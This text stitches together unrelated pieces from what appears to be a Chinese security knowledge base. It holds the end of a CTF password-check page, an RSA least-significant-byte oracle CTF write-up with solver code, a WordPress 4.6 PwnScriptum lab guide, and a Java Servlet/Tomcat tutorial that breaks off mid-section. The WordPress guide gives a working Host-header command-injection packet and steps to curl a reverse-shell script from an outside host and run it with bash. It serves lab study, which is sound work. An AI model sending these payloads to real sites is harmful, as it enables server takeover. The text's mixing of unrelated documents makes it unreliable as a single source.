result += '' + s.charCodeAt(i).toString(16);
}
return result;
}
function check(){
var s = document.createElement('script');
var pw = document.getElementById('pw').value;
var pw_first=pw[0];
var pw_as_bigint = bigInt(to_hex(pw), 16).mod(P);
var pw_as_point = force_decompress(pw_as_bigint);
enc_key = bigInt.randBetween(P.divide(16), P);
var encpw = multiply_point(pw_as_point, enc_key);
s.setAttribute('src','?pw_first=' + pw_first + '&encpw_x=' + encpw.x.toString(16) + '&encpw_y=' + encpw.y.toString(16));
document.head.appendChild(s);
}
function continue_check(p){
var dec_key = enc_key.modInv(N);
console.log("PW result from server ", p);
var dec_pw = multiply_point(point(p.x, p.y), dec_key);
var oh_no = false;
for (i=0; i<p.pws.length; ++i){
pw_point = point(p.pws[i][0], p.pws[i][1]);
if (pw_point.x.eq(dec_pw.x) && pw_point.y.eq(dec_pw.y))
oh_no = true;
}
if (oh_no){
document.getElementById('result').innerHTML = "<span style='color:red;font-weight:bold'>!!! Password compromised !!!</span>";
} else {
document.getElementById('result').innerHTML = "<span style='color:green'>It's all good.</span>";
}
}
selftest();
</SCRIPT>
</HEAD>
<BODY>
<H1>Have you been OWNED?</H1>
Did you know that the passwords for all 10000 users of <B>ourspace.com</B> was compromised?<BR>
Was your password leaked too? Find out by filling the form below!<BR><BR>
<INPUT type="password" name="pw" id="pw"><INPUT type="button" onclick="check()" value="Let's see"><BR><BR>
<SPAN id="result">...</SPAN><BR><BR>
<BR>
Scared to just send us your password? You should be otherwise, but with us, you are fully secured, with the latest "Elliptic Curve" cryptography!<BR>
We will never know your actual password, only the first character! And you will not know any other password either.<BR>
Still not convinced? <A HREF="?source=1">See the source of this page</A>
</BODY>
</HTML>
<?php
}
if(php_sapi_name() == "cli") {
print("Welcome to CLI mode\n");
selftest();
encrypt_db();
} else{
if (isset($_GET['pw_first']))
pw_result($_GET['pw_first'], $_GET['encpw_x'], $_GET['encpw_y']);
else if(isset($_GET['source']))
show_source('index.php');
else
main_page();
}
?>
|
sec-knowleage
|
# Lost key (crypto, 257p, 29 solved)
In the task we can connect to a service running [python code](rsa_hitcon.py).
We can easily deduce that it's a textbook implementation of RSA cryptosystem.
We get encrypted flag from the server and then we can perform two operations:
- encryption of selected payload
- decryption of selected payload, but only least significant byte is returned
Contrary to the similar Paillier task, here we can perform only 150 operations in total.
Similarly, we don't know the public key.
## Recover public key modulus
We could perform a similar trick as in Paillier task to recover modulus bit by bit, but we don't have enough operations for that.
If we knew `e` we could ask server to encrypt for us `2` and `3` to get back `2**e mod n` and `3**e mod `n and then calculate `gcd(2**e - (2**e mod n), 3**e - (3**e mod n))`.
The trick here is that if we substract `x**e - (x**e mod n)` we get a number which is a multiply of `n`, and thus `gcd(k1*n, k2*n)` most likely will give back `n` or `n` multiplied by some small factor `k`.
Here we don't know `e`, so this won't work, but we figured a very similar construction.
We can ask server to encrypt `2` and `2**2`, and also `3` and `3**2`.
Now we can square encrypted `2` to get `(2**e mod n)**2` and subtract `(2**e mod n)**2 - (2**2**e mod n)`.
This operation similarly as above, gives us some multiply of `n`.
We do the same for `3` and calculate `gcd` of those two numbers, which should result in `n` possibly multiplied by some small factor:
```python
def recover_pubkey(enc):
two = int(enc('\x02'), 16)
three = int(enc('\x03'), 16)
power_two = int(enc('\x04'), 16)
power_three = int(enc('\x09'), 16)
n = gmpy2.gcd(two ** 2 - power_two, three ** 2 - power_three)
while n % 2 == 0:
n = n / 2
while n % 3 == 0:
n = n / 3
return n
```
Just in case we divide the result by 2 and 3, in case those are the small factors.
We could run some simple factorization on the number to be sure it's `n` and not `k*n` but it was not necessary.
## Recover the flag
Now that we have `n` we can try to recover the flag from the server.
Sadly RSA is only homomorphic with multiplication, and not with addition, so we can't use the same trick as with Paillier.
We could run a classic Least-Significant-Bit Oracle attack here, but we lack the number of necessary operations.
It would take us 1024 queries to narrow the flag down bit by bit, especially that we know that the flag is on the small bytes part of the data.
However, we know the whole least significant byte of the decryption, not just the single bit!
It turns out we can use this byte to recover the state of 8-LSB bits which we would see if we were using the classic LSB Oracle and multiplying the plaintext by 2.
So instead we multiply by `2**8` and recover all 8 bits for this step:
```python
x = flag
real_x = int(dec(long_to_bytes(flag)), 16)
multiplier = int(enc(long_to_bytes(2 ** 8)), 16)
x = x * multiplier
expected_value = int(dec(long_to_bytes(x)), 16)
for configuration in itertools.product([0, 1], repeat=8):
res = real_x % 256
for bit in configuration:
res = res * 2
if bit == 1:
res = res - n
res = res % 256
if res == expected_value:
print(configuration)
bits.extend(configuration)
break
```
We literally brute-force all combinations of LSB Oracle bits state and check for which one of them the resulting LSB byte is the same as what we got from the server.
We run this in a loop for each character to recover entire flag: `hitcon{1east_4ign1f1cant_BYTE_0racle_is_m0re_pow3rfu1!}`
Whole solver [here](rsa_solver.py)
|
sec-knowleage
|
# Wordpress 4.6 任意命令执行漏洞(PwnScriptum)
## 原理
参考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
## 测试环境
编译及运行测试环境
```
docker compose build
docker compose up -d
```
由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问`http://your-ip:8080/`打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。
## 测试与EXP使用
发送如下数据包,可见`/tmp/success`已经成功创建:
```
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
```
但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:
1. 执行的命令不能包含大量特殊字符,如`:`、引号等。
2. 命令会被转换成小写字母
3. 命令需要使用绝对路径
4. 需要知道某一个存在的用户的用户名
为了解决这些坑,漏洞作者想出了,利用`${substr{0}{1}{$spool_directory}}`代替`/`,用`${substr{10}{1}{$tod_log}}`代替空格的方法。
但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过`curl -o /tmp/rce example.com/shell.sh`的方法先将他下载到/tmp目录中,再去执行。
所以,总体来说利用过程如下:
- 编写反弹shell的exp,放到某个网页里。有如下要求:
- 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
- 访问该网页不能跳转,因为follow跳转的参数是`-L`(大写)
- 拼接成命令`/usr/bin/curl -o/tmp/rce example.com/shell.sh`和命令`/bin/bash /tmp/rce`
- 将上述命令中的空格和`/`转换成`${substr{10}{1}{$tod_log}}`和`${substr{0}{1}{$spool_directory}}`
- 拼接成HTTP包的Host头:`target(any -froot@localhost -be ${run{command}} null)`
- 依次发送这两个拼接好的数据包
我将上述过程写成[exp脚本](exploit.py),将脚本中target修改成你的目标,user修改成一个已经存在的用户,`shell_url`修改成你放置payload的网址。(或直接将target作为第一个参数、`shell_url`作为第二个参数)
执行即可获得shell:

|
sec-knowleage
|
# servlet-1
---
## 基础概念
Java servlet 是运行在 Web 或应用服务器上的程序,作为在来自 Web 浏览器或其他 HTTP 客户机的请求和在 HTTP 服务器上的数据库或应用程序的中间层。
Servlet 其实就是一个接口,定义了 Java 的类被浏览器访问到 tomcat 的规则,后面会定义一个实现类,来实现 Servlet 接口的方法。
Servlet 为构建基于 Web 的应用程序提供了一个基于组件的、独立于平台的方法,没有 CGI 程序的性能限制。Servlet 访问 Java API 的整个家族,包括 JDBC API 来访问企业数据库。
代码文件不能放在 WEB-INF 文件目录下,放在该文件目录下是无法执行的。
在我们部署 jsp 网站的时候通常都是将文件打包成 war 包,然后再进行上传,上传后会自动进行解压,那么我们来看看 war 包的结构。
```
WebContent 站点根目录
|
|--META-INF META-INF文件夹
| |---MANIFEST.MF 配置清单文件
|---WEB-INF WEB-INF文件夹
| |---web.xml 站点配置文件
| |---lib 第三方库文件夹
| | |---*.jar 程序需要的jar包
| |---classes 放置字节码文件的目录
| |---*.class class文件
|---<userdir> 自定义的目录
| |---*.jsp,*.js,*.css 自定义的资源文件
|---<userfiles> 自定义的资源文件
```
tomcat网站虚拟路径配置
```xml
配置conf/server.xml文件
在<Host>标签体中配置
<Context docBase="D:\hello" path="/hehe" />
* docBase:项目存放的路径
* path:虚拟目录
```
配置完成后,我们访问 127.0.0.1:8080/hehe 的时候,tomcat 中间件会查找本机 d 盘下的 hello 目录。
还有种方法是直接写 xx.xml 到 tomcat\conf\Catalina\localhost 目录下,这样也能实现同样的效果。
```xml
在conf\Catalina\localhost创建任意名称的xml文件。在文件中编写
<Context docBase="D:\hello" />
* 虚拟目录:xml文件的名称
```
**Servlets 任务**
Servlet 执行以下主要任务:
* 读取由客户端(浏览器)发送的显式数据。这包括网页上的 HTML 表单,或者也可以是来自 applet 或自定义的 HTTP 客户端程序的表单。
* 读取由客户端(浏览器)发送的隐式 HTTP 请求数据。这包括 cookies、媒体类型和浏览器能理解的压缩格式等等。
* 处理数据并生成结果。这个过程可能需要访问数据库,执行 RMI 或 CORBA 调用,调用 Web 服务,或者直接计算响应。
* 发送显式数据(即文档)到客户端(浏览器)。该文档可以以多种多样的格式被发送,包括文本文件(HTML 或 XML)、二进制文件(GIF 图像)、Excel 等。
* 发送隐式的 HTTP 响应到客户端(浏览器)。这包括告诉浏览器或其他客户端被返回的文档类型(例如 HTML),设置 cookies 和缓存参数,以及其他类似的任务。
---
## 环境配置
设置 Java 开发工具包,确保 `java`、`javac` 都可以正常输出
如果你运行的是 Windows 操作系统且 SDK 安装在 C:\jdk1.6.0_20 中,那么在你的 C:\autoexec.bat 文件中放入下列的行:
```bash
set PATH=C:\jdk1.5.0_20\bin;%PATH%
set JAVA_HOME=C:\jdk1.5.0_20
```
在 Linux 操作系统中,如果 SDK 安装在 /usr/local/jdk1.6.0_20 中,则在你的 ~/.bash_profile 文件中放入下列的行:
```bash
PATH=$PATH:/usr/local/jdk1.6.0_20/bin
JAVA_HOME=/usr/local/jdk1.6.0_20
```
设置 Web 服务器:Tomcat
Apache Tomcat 是 Java Servlet 和 JavaServer Pages 技术的开源软件实现,可以作为测试 servlets 的独立服务器,而且可以用 Apache Web 服务器集成。下面是在你的电脑上安装 Tomcat 的步骤:
从 http://tomcat.apache.org/ 上下载最新版本的 Tomcat。
一旦你下载了 Tomcat,将该二进制发布包解压缩到一个方便的位置。例如,如果你使用的是 Windows操作系统,则解压缩到 C:\apache-tomcat-5.5.29 中,如果你使用的是 Linux/Unix 操作系统,则解压缩到 /usr/local/apache-tomcat-5.5.29 中,并创建指向这些位置的 CATALINA_HOME 环境变量。
在 Windows 操作系统的计算机上,可以通过执行下述命令来启动 Tomcat:
```bash
%CATALINA_HOME%\bin\startup.bat
or
C:\apache-tomcat-5.5.29\bin\startup.bat
```
在 Unix(Solaris、Linux 等)操作系统的计算机上,可以通过执行下述命令来启动 Tomcat:
```bash
$CATALINA_HOME/bin/startup.sh
or
chmod 777 -R /root/apache-tomcat-5.5.29/bin/
/root/apache-tomcat-5.5.29/bin/startup.sh
```
Tomcat 启动后,通过访问 http://localhost:8080/,Tomcat 包含的默认 web 应用程序会变得可用。如果一切顺利,那么启动后会显示默认页面
在 Windows 操作系统的计算机上,可以通过执行下面的命令来停止 Tomcat:
```bash
C:\apache-tomcat-5.5.29\bin\shutdown
```
在 Unix(Solaris、Linux 等)操作系统的计算机上,可以通过执行下面的命令来停止 Tomcat:
```bash
/root/apache-tomcat-5.5.29/bin/shutdown.sh
```
**设置 CLASSPATH**
由于 servlets 不是 Java 平台标准版的组成部分,所以你必须为编译器指定 servlet 类。
如果你运行的是 Windows 操作系统,则需要在你的 C:\autoexec.bat 文件中放入下列的行:
```
set CATALINA=C:\apache-tomcat-5.5.29
set CLASSPATH=%CATALINA%\lib\servlet-api.jar;%CLASSPATH%
```
在 Unix(Solaris、Linux 等)操作系统中,如果你使用的是 C shell,则需要在你的 .cshrc 文件中放入下列的行:
```
CATALINA=/root/apache-tomcat-8.5.68
CLASSPATH=$CLASSPATH:$CATALINA/lib/servlet-api.jar
```
注意:假设你的开发目录是 C:\ServletDevel(Windows 操作系统中)或 /user/ServletDevel(UNIX 操作系统中),那么你还需要在 CLASSPATH 中添加这些目录,添加方式与上面的添加方式类似。
---
## 生命周期
Servlet 生命周期可被定义为从它被创建直到被销毁的整个过程。以下是 servlet 遵循的过程:
* 通过调用 `init()` 方法 servlet 被初始化。
* Servlet 调用 `service()` 方法来处理客户端的请求。
* 通过调用 `destroy()` 方法 servlet 终止。
* 最后,servlet 是由 JVM 的垃圾回收器进行垃圾回收的。
上图显示了一个典型的 servlet 生命周期场景。
最先到达服务器的 HTTP 请求被委派到 servlet 容器。
在调用 `service()` 方法之前 servlet 容器加载 servlet。
然后 servlet 容器通过产生多个线程来处理多个请求,每个线程执行 servlet 的单个实例的 `service()` 方法。
### init() 方法
init 方法被设计成只调用一次。它在第一次创建 servlet 时被调用,在后续每次用户请求时不再调用。因此,它用于一次性初始化,与 applets 的 init 方法一样。
通常情况下,当用户第一次调用对应于该 servlet 的 URL 时,servlet 被创建,但是当服务器第一次启动时,你也可以指定 servlet 被加载。
当用户调用 servlet 时,每个 servlet 的一个实例就会被创建,并且每一个用户请求都会产生一个新的线程,该线程在适当的时候移交给 doGet 或 doPost 方法。`init()` 方法简单地创建或加载一些数据,这些数据将被用于 servlet 的整个生命周期。
init 方法的定义如下:
```java
public void init() throws ServletException {
// Initialization code...
}
```
### service() 方法
`service()` 方法是执行实际任务的主要方法。Servlet 容器(即 web 服务器)调用 `service()` 方法来处理来自客户端(浏览器)的请求,并将格式化的响应写回到客户端。
每次服务器接收到一个 servlet 请求时,服务器会产生一个新的线程并调用服务。`service()` 方法检查 HTTP 请求类型(GET、POST、PUT、DELETE 等),并在适当的时候调用 doGet、doPost、doPut、doDelete 等方法。
下面是该方法的特征:
```java
public void service(ServletRequest request,
ServletResponse response)
throws ServletException, IOException{
}
```
`service()` 方法由容器调用,且 service 方法在适当的时候调用 doGet、doPost、doPut、doDelete 等。所以对 `service()` 方法你什么都不需要做,只是根据你接收到的来自客户端的请求类型来重写 `doGet()` 或 `doPost()`。
`doGet()` 和 `doPost()` 方法在每次服务请求中是最常用的方法。下面是这两种方法的特征。
### doGet() 方法
GET 请求来自于一个 URL 的正常请求,或者来自于一个没有 METHOD 指定的 HTML 表单,且它由 `doGet()` 方法处理。
```java
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// Servlet code
}
```
### doPost() 方法
POST 请求来自于一个 HTML 表单,该表单特别的将 POST 列为 METHOD 且它由 `doPost()` 方法处理。
```java
public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// Servlet code
}
```
### destroy() 方法
`destroy()` 方法只在 servlet 生命周期结束时被调用一次。`destroy()` 方法可以让你的 servlet 关闭数据库连接、停止后台线程、将 cookie 列表或点击计数器写入磁盘,并执行其他类似的清理活动。
在调用 `destroy()` 方法之后,servlet 对象被标记用于垃圾回收。destroy 方法的定义如下所示:
```java
public void destroy() {
// Finalization code...
}
```
---
## 实例
Servlets 是 Java 类,服务于 HTTP 请求并实现了 javax.servlet.Servlet 接口。Web 应用程序开发人员通常编写扩展 javax.servlet.http.HttpServlet 的 servlets,它是一个实现了 Servlet 接口的抽象类并且是为处理 HTTP 请求专门设计的。
我们来实现一个最简单的Servlet:
```java
// WebServlet注解表示这是一个Servlet,并映射到地址/:
@WebServlet(urlPatterns = "/")
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 设置响应类型:
resp.setContentType("text/html");
// 获取输出流:
PrintWriter pw = resp.getWriter();
// 写入响应:
pw.write("<h1>Hello, world!</h1>");
// 最后不要忘记flush强制输出:
pw.flush();
}
}
```
一个 Servlet 总是继承自 HttpServlet,然后覆写 `doGet()` 或 `doPost()` 方法。注意到 `doGet()` 方法传入了 HttpServletRequest 和 HttpServletResponse 两个对象,分别代表 HTTP 请求和响应。我们使用 Servlet API 时,并不直接与底层 TCP 交互,也不需要解析 HTTP 协议,因为 HttpServletRequest 和 HttpServletResponse 就已经封装好了请求和响应。以发送响应为例,我们只需要设置正确的响应类型,然后获取 PrintWriter,写入响应即可。
Servlet API 是一个 jar 包,我们需要通过 Maven 来引入它,才能正常编译。编写 pom.xml 文件如下:
```xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.itranswarp.learnjava</groupId>
<artifactId>web-servlet-hello</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.0</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>hello</finalName>
</build>
</project>
```
注意到这个 pom.xml 与前面我们讲到的普通 Java 程序有个区别,打包类型不是 jar,而是 war,表示 Java Web Application Archive:
```xml
<packaging>war</packaging>
```
引入的 Servlet API 如下:
```xml
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.0</version>
<scope>provided</scope>
</dependency>
```
注意到 `<scope>` 指定为 provided,表示编译时使用,但不会打包到 .war 文件中,因为运行期 Web 服务器本身已经提供了 Servlet API 相关的 jar 包。
我们还需要在工程目录下创建一个 web.xml 描述文件,放到 src/main/webapp/WEB-INF 目录下(固定目录结构,不要修改路径,注意大小写)。文件内容可以固定如下:
```xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<display-name>Archetype Created Web Application</display-name>
</web-app>
```
整个工程结构如下:
```
web-servlet-hello
├── pom.xml
└── src
└── main
├── java
│ └── com
│ └── test
│ └── servlet
│ └── HelloServlet.java
├── resources
└── webapp
└── WEB-INF
└── web.xml
```
运行 Maven 命令 mvn clean package,在 target 目录下得到一个 hello.war 文件,这个文件就是我们编译打包后的 Web 应用程序。
普通的 Java 程序是通过启动 JVM,然后执行 `main()` 方法开始运行。但是 Web 应用程序有所不同,我们无法直接运行 war 文件,必须先启动 Web 服务器,再由 Web 服务器加载我们编写的 HelloServlet,这样就可以让 HelloServlet 处理浏览器发送的请求。
把 hello.war 复制到 Tomcat 的 webapps 目录下,然后切换到 bin 目录,执行 startup.sh 或 startup.bat 启动 Tomcat 服务器
在浏览器输入 http://localhost:8080/hello/ 即可看到 HelloServlet 的输出
---
## Maven tomcat 插件
- http://tomcat.apache.org/maven-plugin-2.2/index.html
```xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.itranswarp.learnjava</groupId>
<artifactId>web-servlet-hello</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<java.version>8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>hello</finalName>
<plugins>
<plugin>
<groupId>org.apache.tomcat.maven</groupId>
<artifactId>tomcat7-maven-plugin</artifactId>
<version>2.2</version>
<configuration>
<hostName>localhost</hostName>
<port>8080</port>
<path>/hello</path>
<uriEncoding>UTF-8</uriEncoding>
</configuration>
</plugin>
</plugins>
</build>
</project>
```
```
tomcat7:deploy --部署web war包
tomcat7:redeploy --重新部署web war包
tomcat7:undeploy --停止该项目运行,并删除部署的war包
tomcat7:run --启动嵌入式tomcat ,并运行当前项目
tomcat7:exec-war --创建一个可执行的jar文件,允许使用java -jar mywebapp.jar 运行web项目
tomcat7:help --在tomcat7-maven-plugin显示帮助信息
```
Tomcat 实际上也是一个 Java 程序,我们看看 Tomcat 的启动流程:
* 启动 JVM 并执行 Tomcat 的 `main()` 方法;
* 加载 war 并初始化 Servlet;
* 正常服务。
启动 Tomcat 无非就是设置好 classpath 并执行 Tomcat 某个 jar 包的 main() 方法,我们完全可以把 Tomcat 的 jar 包全部引入进来,然后自己编写一个 main() 方法,先启动 Tomcat,然后让它加载我们的 webapp 就行。
我们新建一个web-servlet-embedded工程,编写pom.xml如下:
```xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.itranswarp.learnjava</groupId>
<artifactId>web-servlet-embedded</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<java.version>11</java.version>
<tomcat.version>9.0.26</tomcat.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
</dependencies>
</project>
```
其中,`<packaging>` 类型仍然为 war,引入依赖 tomcat-embed-core 和 tomcat-embed-jasper,引入的 Tomcat 版本 `<tomcat.version>` 为 9.0.26。
不必引入 Servlet API,因为引入 Tomcat 依赖后自动引入了 Servlet API。因此,我们可以正常编写 Servlet 如下:
```java
@WebServlet(urlPatterns = "/")
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
String name = req.getParameter("name");
if (name == null) {
name = "world";
}
PrintWriter pw = resp.getWriter();
pw.write("<h1>Hello, " + name + "!</h1>");
pw.flush();
}
}
```
编写一个 main() 方法,启动 Tomcat 服务器
```java
public class Main {
public static void main(String[] args) throws Exception {
// 启动Tomcat:
Tomcat tomcat = new Tomcat();
tomcat.setPort(Integer.getInteger("port", 8080));
tomcat.getConnector();
// 创建webapp:
Context ctx = tomcat.addWebapp("", new File("src/main/webapp").getAbsolutePath());
WebResourceRoot resources = new StandardRoot(ctx);
resources.addPreResources(
new DirResourceSet(resources, "/WEB-INF/classes", new File("target/classes").getAbsolutePath(), "/"));
ctx.setResources(resources);
tomcat.start();
tomcat.getServer().await();
}
}
```
这样,我们直接运行 `main()` 方法,即可启动嵌入式 Tomcat 服务器,然后,通过预设的 `tomcat.addWebapp("", new File("src/main/webapp")` ,Tomcat 会自动加载当前工程作为根 webapp,可直接在浏览器访问 http://localhost:8080/
记得创建 webapp 目录并创建 WEB-INF 文件夹,创建 web.xml 文件
```
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Web Application</display-name>
</web-app>
```
启动 main() 方法 报错解决方案如下:
```
错误: 无法初始化主类 Main
原因: java.lang.NoClassDefFoundError: org/apache/catalina/WebResourceRoot
解决
打开idea的Run/Debug Configurations:
选择Application - Main
右侧Configuration:Use classpath of module
钩上☑︎Include dependencies with "Provided" scope
```
通过 `main()` 方法启动 Tomcat 服务器并加载我们自己的 webapp 有如下好处:
1. 启动简单,无需下载 Tomcat 或安装任何 IDE 插件;
2. 调试方便,可在 IDE 中使用断点调试;
3. 使用 Maven 创建 war 包后,也可以正常部署到独立的 Tomcat 服务器中。
SpringBoot 也支持在 `main()` 方法中一行代码直接启动 Tomcat,并且还能方便地更换成 Jetty 等其他服务器。它的启动方式和我们介绍的是基本一样的,后续涉及到 SpringBoot 的部分我们还会详细讲解。
开发 Servlet 时,推荐使用 `main()` 方法启动嵌入式 Tomcat 服务器并加载当前工程的 webapp,便于开发调试,且不影响打包部署,能极大地提升开发效率。
---
一个 Web App 就是由一个或多个 Servlet 组成的,每个 Servlet 通过注解说明自己能处理的路径。例如:
```java
@WebServlet(urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
...
}
```
上述 HelloServlet 能处理 /hello 这个路径的请求。
> 早期的 Servlet 需要在 web.xml 中配置映射路径,但最新 Servlet 版本只需要通过注解就可以完成映射。
因为浏览器发送请求的时候,还会有请求方法(HTTP Method):即 GET、POST、PUT 等不同类型的请求。因此,要处理 GET 请求,我们要覆写 doGet() 方法:
```java
@WebServlet(urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
...
}
}
```
类似的,要处理 POST 请求,就需要覆写 `doPost()` 方法。
如果没有覆写 `doPost()` 方法,那么 HelloServlet 能不能处理 POST /hello 请求呢?
我们查看一下 HttpServlet 的 `doPost()` 方法就一目了然了:它会直接返回 405 或 400 错误。因此,一个 Servlet 如果映射到 /hello,那么所有请求方法都会由这个 Servlet 处理,至于能不能返回 200 成功响应,要看有没有覆写对应的请求方法。
一个 Webapp 完全可以有多个 Servlet,分别映射不同的路径。例如:
```java
@WebServlet(urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
...
}
@WebServlet(urlPatterns = "/signin")
public class SignInServlet extends HttpServlet {
...
}
@WebServlet(urlPatterns = "/")
public class IndexServlet extends HttpServlet {
...
}
```
浏览器发出的 HTTP 请求总是由 Web Server 先接收,然后,根据 Servlet 配置的映射,不同的路径转发到不同的 Servlet:
```
┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐
│ /hello ┌───────────────┐│
┌──────────>│ HelloServlet │
│ │ └───────────────┘│
┌───────┐ ┌──────────┐ │ /signin ┌───────────────┐
│Browser│───>│Dispatcher│─┼──────────>│ SignInServlet ││
└───────┘ └──────────┘ │ └───────────────┘
│ │ / ┌───────────────┐│
└──────────>│ IndexServlet │
│ └───────────────┘│
Web Server
└ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘
```
这种根据路径转发的功能我们一般称为 Dispatch。映射到 / 的 IndexServlet 比较特殊,它实际上会接收所有未匹配的路径,相当于 /*,因为 Dispatcher 的逻辑可以用伪代码实现如下:
```java
String path = ...
if (path.equals("/hello")) {
dispatchTo(helloServlet);
} else if (path.equals("/signin")) {
dispatchTo(signinServlet);
} else {
// 所有未匹配的路径均转发到"/"
dispatchTo(indexServlet);
}
```
所以我们在浏览器输入一个 http://localhost:8080/abc 也会看到 IndexServlet 生成的页面。
---
## Request和Response
在 b/s 架构里面,请求和响应是必不可少的。访问网页时,会发出一个 request 请求,服务器接收到请求后,根据设定代码,给我们响应对应的内容。
request对象是来获取请求消息,response对象是来设置响应消息
### HttpServletRequest
`HttpServletRequest` 封装了一个 HTTP 请求,它实际上是从 ServletRequest 继承而来。最早设计 Servlet 时,设计者希望 Servlet 不仅能处理 HTTP,也能处理类似 SMTP 等其他协议,因此,单独抽出了 ServletRequest 接口,但实际上除了 HTTP 外,并没有其他协议会用 Servlet 处理,所以这是一个过度设计。
我们通过 `HttpServletRequest` 提供的接口方法可以拿到 HTTP 请求的几乎全部信息,常用的方法有:
* getMethod():返回请求方法,例如,`"GET"`,`"POST"`;
* getRequestURI():返回请求路径,但不包括请求参数,例如,`"/hello"`;
* getQueryString():返回请求参数,例如,`"name=Bob&a=1&b=2"`;
* getParameter(name):返回请求参数,GET 请求从 URL 读取参数,POST 请求从 Body 中读取参数;
* getContentType():获取请求 Body 的类型,例如,`"application/x-www-form-urlencoded"`;
* getContextPath():获取当前 Webapp 挂载的路径,对于 ROOT 来说,总是返回空字符串 `""`;
* getCookies():返回请求携带的所有 Cookie;
* getHeader(name):获取指定的 Header,对 Header 名称不区分大小写;
* getHeaderNames():返回所有 Header 名称;
* getInputStream():如果该请求带有 HTTP Body,该方法将打开一个输入流用于读取 Body;
* getReader():和 getInputStream() 类似,但打开的是 Reader;
* getRemoteAddr():返回客户端的 IP 地址;
* getScheme():返回协议类型,例如,`"http"`,`"https"`;
此外,HttpServletRequest 还有两个方法:`setAttribute()` 和 `getAttribute()`,可以给当前 HttpServletRequest 对象附加多个 Key-Value,相当于把 HttpServletRequest 当作一个 `Map<String, Object>` 使用。
调用 HttpServletRequest 的方法时,注意务必阅读接口方法的文档说明,因为有的方法会返回 null,例如 `getQueryString()` 的文档就写了:
```
... This method returns null if the URL does not have a query string...
```
---
### HttpServletResponse
